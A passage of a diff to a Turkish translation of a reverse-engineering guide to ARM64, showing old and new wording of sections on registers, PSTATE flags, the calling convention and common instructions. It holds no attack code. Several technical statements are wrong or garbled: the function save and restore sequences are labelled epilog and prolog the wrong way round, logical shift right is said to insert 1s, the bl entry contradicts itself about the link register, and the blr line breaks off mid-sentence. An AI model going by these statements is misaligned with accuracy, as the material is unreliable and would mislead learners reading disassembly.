için**. +6. **`x19`** ile **`x28`** - Bunlar çağrılan kaydedilen kayıtlardır. Bir işlev, bu kayıtların değerlerini çağrıcısı için korumalıdır, bu nedenle bunlar yığında saklanır ve çağrıcıya geri dönmeden önce kurtarılır. +7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı yığında **saklanır** ve **yeni** çerçeve işaretçi adresi (**`sp`** adresi) bu kayıtta **saklanır**. +* Bu kayıt genel amaçlı bir kayıt olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans** olarak kullanılır. +8. **`x30`** veya **`lr`**- **Bağlantı kaydı**. Bir `BL` (Bağlantılı Dal) veya `BLR` (Kayıtlı Bağlantılı Dal) komutu yürütüldüğünde **`pc`** değerini bu kayıtta saklayarak **dönüş adresini** tutar. +* Diğer kayıtlar gibi kullanılabilir. +* Eğer mevcut işlev yeni bir işlevi çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda kurtarır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi kurtar ve geri dön). 9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. * **`sp`** değeri her zaman en az bir **quadword hizalamasında** tutulmalıdır aksi takdirde bir hizalama istisnası oluşabilir. -10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu register yalnızca istisna oluşturma, istisna dönüşleri ve dallanmalar aracılığıyla güncellenebilir. Bu registerı okuyabilen tek sıradan komutlar, **`pc`** adresini **`lr`**'ye (Bağlantı Registerı) saklamak için bağlantılı dal komutlarıdır. -11. **`xzr`** - **Sıfır registerı**. 32-bit register formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonucu veriyi hiçbir yere saklamadan (**`xzr`**'ye) saklar. +10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu kayıt yalnızca istisna oluşturma, istisna dönüşü ve dallanmalar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan komutlar, **`pc`** adresini **`lr`**'ye (Bağlantı Kaydı) saklamak için dallanma ile bağlantılı komutlardır (BL, BLR). +11. **`xzr`** - **Sıfır kaydı**. 32 bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için kullanılabilir (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamadan (**`xzr`** içinde) saklar. -**`Wn`** registerları, **`Xn`** registerının 32-bit versiyonudur. +**`Wn`** kayıtları, **`Xn`** kaydının **32 bit** sürümüdür. -### SIMD ve Kayan Nokta Registerları +### SIMD ve Kayan Nokta Kayıtları -Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen başka **32 adet 128-bit uzunluğunda register** bulunmaktadır. Bunlar Vn registerları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar. +Ayrıca, optimize edilmiş tek bir komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen **32 adet 128 bit uzunluğunda kayıt** bulunmaktadır. Bunlar Vn kayıtları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar. ### Sistem Kayıtları -**Yüzlerce sistem kaydı** bulunmaktadır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılan bu kayıtlar, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\ -Bu kayıtlar yalnızca özel **`mrs`** ve **`msr`** komutları kullanılarak okunabilir veya ayarlanabilir. +**Yüzlerce sistem kaydı**, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak adlandırılan, **işlemcilerin** davranışını **izleme** ve **kontrol etme** amacıyla kullanılır.\ +Bu kayıtlar yalnızca özel **`mrs`** ve **`msr`** komutlarını kullanarak okunabilir veya ayarlanabilir. -Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi istisnadan erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı düzeydir).\ +Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi istisnai durumdan erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı ayrıcalık seviyesidir).\ Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama** alanının **taban adresini saklamak** için kullanılır. Genellikle birinci EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den yazılabilir (çekirdek gibi). * `mrs x0, TPIDR_EL0 ; TPIDR_EL0'i x0'a oku` @@ -73,38 +74,38 @@ Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama** alanı ### **PSTATE** -**PSTATE**, işlemcinin **işletim sistemi tarafından görülebilen `SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna **izin seviyesi** olup (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\ +**PSTATE**, işlemcinin **işletim sistemi tarafından görülebilen** **`SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna **izin seviyesi** olur (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\ Bu erişilebilir alanlar şunlardır:
* **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları: -* **`N`**, işlemin negatif bir sonuç verdiğini gösterir -* **`Z`**, işlemin sıfır verdiğini gösterir -* **`C`**, işlemin taşındığını gösterir -* **`V`**, işlemin işaretli bir taşma verdiğini gösterir: +* **`N`**, işlemin negatif bir sonuç verdiğini belirtir +* **`Z`**, işlemin sıfır verdiğini belirtir +* **`C`**, işlemin taşıdığını belirtir +* **`V`**, işlemin işaretli bir taşma verdiğini belirtir: * İki pozitif sayının toplamı negatif bir sonuç verir. * İki negatif sayının toplamı pozitif bir sonuç verir. -* Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi), ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa. +* Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi durumda) ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa. * Açıkçası işlemcinin işlemin işaretli olup olmadığını bilmediği için, işlemlerde C ve V'yi kontrol edecek ve taşıma işareti olup olmadığını belirtecektir. {% hint style="warning" %} -Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s takısına sahip olanlar da yapar. +Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s eki olan diğerleri de yapar. {% endhint %} -* Geçerli **kayıt genişliği (`nRW`)** bayrağı: Bayrak değeri 0 ise, program devam edildiğinde AArch64 yürütme durumunda çalışacaktır. -* Geçerli **İstisna Düzeyi** (**`EL`**): EL0'da çalışan normal bir programın değeri 0 olacaktır -* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklamak için kullanılan tek adımlama bayrağı, SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlayarak bir istisna oluşturur. Program bir adım çalışacak ve tek adımlama istisnası oluşturacaktır. -* **Yasadışı istisna** durumu bayrağı (**`IL`**): Bu, ayrıcalıklı bir yazılımın geçersiz bir istisna düzeyi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur. +* Mevcut **kayıt genişliği (`nRW`) bayrağı**: Bayrağın değeri 0 ise, program devam edildiğinde AArch64 yürütme durumunda çalışacaktır. +* Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan normal bir programın değeri 0 olacaktır +* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlamak için kullanılır, SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlayarak bir istisna yoluyla adım adım çalıştırır. Program bir adım atar ve tek adım istisnası oluşturur. +* **Yasadışı istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur. * **`DAIF`** bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçici olarak maskelemesine izin verir. -* **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir. -* **Yığın işaretçisi seç** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz. +* **`A`** 1 ise **asenkron hataların** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleriyle** (FIR'ler) ilgilidir. +* **Yığın işaretçisi seçim** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kayıtlarını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz. ## **Çağrı Sözleşmesi (ARM64v8)** -ARM64 çağrı sözleşmesi, bir işlev için **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, **`x0`** kaydına geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`**'e de. **`x19`** ile **`x30`** ve **`sp`** kayıtları işlev çağrıları arasında **korunmalıdır**. +ARM64 çağrı sözleşmesi, bir işlevin **ilk sekiz parametresinin** **`x0` ile `x7`** kayıtlarında geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, **`x0`** kaydına geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`**'e de. **`x19`** ile **`x30`** ve **`sp`** kayıtları işlev çağrıları arasında **korunmalıdır**. -Bir işlevi montajda okurken, **işlev prologu ve epilogunu** arayın. **Prolog** genellikle **çerçeve işaretçisini (`x29`) kaydetmeyi**, yeni bir **çerçeve işaretçisi ayarlamayı** ve **yığın alanı tahsis etmeyi** içerir. **Epilog** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve **işlevden dönmeyi** içerir. +Bir işlevi montajda okurken, **işlev giriş ve çıkışını** arayın. **Giriş** genellikle **çerçeve işaretçisini (`x29`) kaydetmeyi**, yeni bir **çerçeve işaretçisi** kurmayı ve bir **yığın alanı tahsis etmeyi** içerir. **Çıkış** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve işlevden **dönmeyi** içerir. ### Swift'te Çağrı Sözleşmesi @@ -112,34 +113,34 @@ Swift'in kendi **çağrı sözleşmesi** [burada](https://github.com/apple/swift ## **Ortak Komutlar (ARM64v8)** -ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov`, vb.), **`hedef`** sonucun depolanacağı hedef kayıt, ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir. +ARM64 komutları genellikle **`opcode hedef, kaynak1, kaynak2`** biçimindedir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov`, vb.), **`hedef`** sonucun depolanacağı hedef kaydı belirtir ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir. -* **`mov`**: Bir değeri bir **kaynaktan** başka bir **kayda taşı** +* **`mov`**: Bir değeri bir **kaynaktan** başka bir **kayda taşı**. * Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır. -* **`ldr`**: Bir değeri **bellekten** bir **kayda yükle** +* **`ldr`**: Bir değeri **bellekten** bir **kayda yükle**. * Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan `x0`'a bir değer yükler. * **Ofset modu**: Orin işaretçisini etkileyen bir ofset belirtilir, örneğin: * `ldr x2, [x1, #8]`, bu x1 + 8'den x2'ye değeri yükler -* `ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (indeks) \* 4 pozisyonundaki nesneyi x2'ye yükler +* `ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (indeks) \* 4 pozisyondaki nesneyi x2'ye yükler * **Ön-indeks modu**: Bu, hesaplamaları orijine uygular, sonucu alır ve yeni orijini orijine kaydeder. -* `ldr x2, [x1, #8]!`, bu `x1 + 8`'i `x2`'ye yükler ve `x1`'e `x1 + 8`'in sonucunu kaydeder +* `ldr x2, [x1, #8]!`, bu `x1 + 8`'i `x2`'ye yükler ve `x1 + 8`'in sonucunu `x1`'e kaydeder * `str lr, [sp, #-4]!`, bağlantı kaydını sp'ye kaydeder ve sp kaydını günceller * **Sonrası-indeks modu**: Bu bir öncekine benzer ancak bellek adresine erişilir ve ardından ofset hesaplanır ve kaydedilir. -* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve x1'i `x1 + 8` ile günceller -* **PC'ye göre adresleme**: Bu durumda yüklenecek adres, PC kaydına göre hesaplanır -* `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi x1'e yükler, mevcut PC'ye göre ilişkilendirilir. -* **`str`**: Bir değeri bir **kaynaktan** **belleğe** kaydet +* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller +* **PC'ye göre adresleme**: Bu durumda yüklenecek adres, mevcut PC kaydına göre hesaplanır +* `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi x1'e yükler. +* **`str`**: Bir değeri bir **kaynaktan** **belleğe** **kaydet**. * Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna kaydeder. -* **`ldp`**: **Çift Kayıt Yükle**. Bu komut **ardışık bellekten iki kaydı yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir ofset ekleyerek oluşturulur. -* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` bellek konumlarından `x0` ve `x1`'i yükler. -* **`stp`**: **Çift Kayıt Kaydet**. Bu komut **ardışık belleğe iki kaydı kaydeder**. Bellek adresi genellikle başka bir kayıttaki değere bir ofset ekleyerek oluşturulur. -* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` bellek konumlarına `x0` ve `x1`'i kaydeder. -* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` bellek konumlarına `x0` ve `x1`'i kaydeder ve `sp`'yi `sp+16` ile günceller. +* **`ldp`**: **Çift Kayıt Yükle**. Bu komut **ardışık bellek** konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur. +* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler. +* **`stp`**: **Çift Kayıt Sakla**. Bu komut iki kaydı ardışık bellek konumlarına saklar. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur. +* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` konumlarındaki belleğe `x0` ve `x1`'i saklar. +* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` konumlarındaki belleğe `x0` ve `x1`'i saklar ve `sp`'yi `sp+16` ile günceller. * **`add`**: İki kaydın değerlerini ekler ve sonucu bir kayda kaydeder. * Sözdizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] * Xn1 -> Hedef * Xn2 -> Operand 1 -* Xn3 | #imm -> Operand 2 (register veya immediate) +* Xn3 | #imm -> Operand 2 (register veya anlık) * \[shift #N | RRX] -> Bir kaydırma yap veya RRX'i çağır * Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2` değerlerini toplar ve sonucu `x0`'a kaydeder. * `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1'i 12 kez kaydırma) -> 1 0000 0000 0000 0000 @@ -153,62 +154,62 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir * **`div`**: Bir kaydırıcının değerini başka bir kaydırıcıya böler ve sonucu bir kaydırıcıda saklar. * Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'a kaydeder. * **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -* **Mantıksal sola kaydırma**: Diğer bitleri ileriye doğru hareket ettirerek sona 0'lar ekler (n kez 2 ile çarpar) -* **Mantıksal sağa kaydırma**: Diğer bitleri geriye doğru hareket ettirerek başa 1'ler ekler (n kez 2'ye bölünmüş şekilde işaretsiz) -* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli n kez 2'ye bölünmüş şekilde) +* **Mantıksal sola kaydırma**: Diğer bitleri ileriye taşıyarak sona 0'lar ekler (n kez 2 ile çarpar) +* **Mantıksal sağa kaydırma**: Diğer bitleri geriye taşıyarak başa 1'ler ekler (işaretsiz bölmede n kez 2'ye bölme) +* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli bölmede n kez 2'ye bölme) * **Sağa döndürme**: **`lsr`** gibi, ancak sağdan kaldırılan her şey sola eklenir * **Uzantılı Sağa Döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kabul edilir. Bu nedenle, taşıma bayrağı 31. bit'e ve kaldırılan bit taşıma bayrağına taşınır. -* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden belirli bitleri kopyalar ve bunları belirli pozisyonlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir. +* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden bitleri kopyalar ve bunları belirli konumlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir. * Bit alanı taşıma: `BFM Xd, Xn, #r` * İşaretli Bit alanı taşıma: `SBFM Xd, Xn, #r, #s` * İşaretsiz Bit alanı taşıma: `UBFM Xd, Xn, #r, #s` * **Bit Alanı Çıkarma ve Ekleme:** Bir kaydırıcıdan bir bit alanını kopyalar ve başka bir kaydırıcıya kopyalar. * **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitine 4 bit ekler * **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar -* **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işareti genişletir ve 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar +* **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işareti genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar * **`SBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır, işareti genişletir ve sonucu X1'e yerleştirir -* **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır genişletir ve 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar +* **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar * **`UBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır ve sıfır genişletilmiş sonucu X1'e yerleştirir. -* **X'e İşareti Genişlet**: Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) işlemler yapabilmek için: +* **İşareti Genişlet X'e:** Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) ve işlemler yapabilmek için: * **`SXTB X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** (`W2`, `X2`'nin yarısıdır) 64 biti doldurmak için * **`SXTH X1, W2`** 16 bitlik bir sayının işaretini genişletir **W2'den X1'e** 64 biti doldurmak için * **`SXTW X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** 64 biti doldurmak için * **`UXTB X1, W2`** Bir bayta 0'lar ekler (işaretsiz) **W2'den X1'e** 64 biti doldurmak için -* **`extr`:** Belirtilen **çift kaydırıcıdan** bitleri çıkarır. -* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır** ve W3'e kaydeder. -* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adı** olup hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n`'yi bilmek için kullanışlıdır. +* **`extr`:** Belirtilen **çift kaydırıcıdan bitleri çıkarır ve birleştirir**. +* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi** birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır ve W3'e kaydeder. +* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adıdır** ve hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n`'yi bilmek için kullanışlıdır. * Aynı **sözdizimini** destekler * Örnek: `cmp x0, x1` — Bu, `x0` ve `x1` değerlerini karşılaştırır ve koşul bayraklarını buna göre ayarlar. -* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, `adds`'nin bir **takma adı** olup aynı sözdizimini destekler. `m == -n`'yi bilmek için kullanışlıdır. +* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, bir `adds` takma adıdır ve aynı sözdizimini destekler. `m == -n`'yi bilmek için kullanışlıdır. * **`ccmp`**: Koşullu karşılaştırma, önceki bir karşılaştırmanın doğru olması durumunda gerçekleştirilen ve özellikle nzcv bitlerini belirleyen bir karşılaştırmadır. * `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, _func'a atla -* Bu, çünkü **`ccmp`** yalnızca önceki `cmp` bir `NE` ise gerçekleştirilecek, değilse bitler `nzcv` 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır). +* Bu, çünkü **`ccmp`** yalnızca **önceki `cmp` bir `NE` ise** gerçekleştirilecek, eğer öyle değilse bitler `nzcv` 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır). * Bu aynı zamanda `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` vs `cmn` gibi). -* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ve işlem yapmadan çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır. +* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ANDS gibi çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır. * Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol edin -* **`teq`**: Sonucu atmadan XOR işlemi -* **`b`**: Koşulsuz Atlama +* **`teq`**: Sonucu atlayarak XOR işlemi +* **`b`**: Koşulsuz atlama * Örnek: `b myFunction` * Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir) -* **`bl`**: **Bağlantı ile Atlama**, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. +* **`bl`**: Bağlantı ile atla, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. * Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar. * Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir) -* **`blr`**: **Kayıtlı Bağlantı ile Atlama**, hedef **bir kayıtta belirtilen** bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu -* Örnek: `blr x1` — Bu, adresi `x1` içinde bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. +* **`blr`**: Kayıtlı bir hedefte **belirtilen** bir **alt programı çağırmak** için kullanılan Bağlantı ile Kaydır, dönüş adresini `x30`'da saklar. (Bu +* Örnek: `blr x1` — Bu, adresi `x1` içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. * **`ret`**: **Alt programdan dön**, genellikle **`x30`** adresini kullanarak. * Örnek: `ret` — Bu, mevcut alt programdan `x30` adresindeki dönüş adresini kullanarak döner. -* **`b.`**: Koşullu atlama -* **`b.eq`**: **Eşitse Atlama**, önceki `cmp` talimatına dayanır. -* Örnek: `b.eq label` — Önceki `cmp` talimatında iki eşit değer bulunursa, bu `label`'a atlar. -* **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar. -* Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'e atlar. -* **`cbz`**: **Sıfır ile Karşılaştır ve Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar. +* **`b.`**: Koşullu atlamalar +* **`b.eq`**: **Eşitse atla**, önceki `cmp` talimatına dayanarak. +* Örnek: `b.eq label` — Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar. +* **`b.ne`**: **Eşit Değilse Dal**. Bu komut, koşul bayraklarını kontrol eder (daha önceki bir karşılaştırma komutu tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar. +* Örnek: `cmp x0, x1` komutundan sonra, `b.ne label` — Eğer `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'e atlar. +* **`cbz`**: **Sıfıra Karşılaştır ve Dal**. Bu komut bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar. * Örnek: `cbz x0, label` — Eğer `x0` içindeki değer sıfırsa, bu `label`'e atlar. -* **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar. +* **`cbnz`**: **Sıfır Olmayanı Karşılaştır ve Dal**. Bu komut bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar. * Örnek: `cbnz x0, label` — Eğer `x0` içindeki değer sıfır olmayan bir değerse, bu `label`'e atlar. -* **`tbnz`**: Biti Test Et ve Sıfır Olmayan Durumda Dal +* **`tbnz`**: Biti test et ve sıfır olmayan durumda dal * Örnek: `tbnz x0, #8, label` -* **`tbz`**: Biti Test Et ve Sıfır Durumda Dal +* **`tbz`**: Biti test et ve sıfır durumunda dal * Örnek: `tbz x0, #8, label` * **Koşullu seçim işlemleri**: Bu işlemler, davranışı koşullu bitlere bağlı olarak değişen işlemlerdir. * `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Doğruysa, X0 = X1, yanlışsa, X0 = X2 @@ -219,14 +220,14 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir * `csneg Xd, Xn, Xm, cond` -> Doğruysa, Xd = Xn, yanlışsa, Xd = - Xm * `cneg Xd, Xn, cond` -> Doğruysa, Xd = - Xn, yanlışsa, Xd = Xn * `cset Xd, Xn, Xm, cond` -> Doğruysa, Xd = 1, yanlışsa, Xd = 0 -* `csetm Xd, Xn, Xm, cond` -> Doğruysa, Xd = \, yanlışsa, Xd = 0 +* `csetm Xd, Xn, Xm, cond` -> Doğruysa, Xd = \, yanlışsa, Xd = 0 * **`adrp`**: Bir sembolün **sayfa adresini hesapla** ve bir kayıtta sakla. -* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün 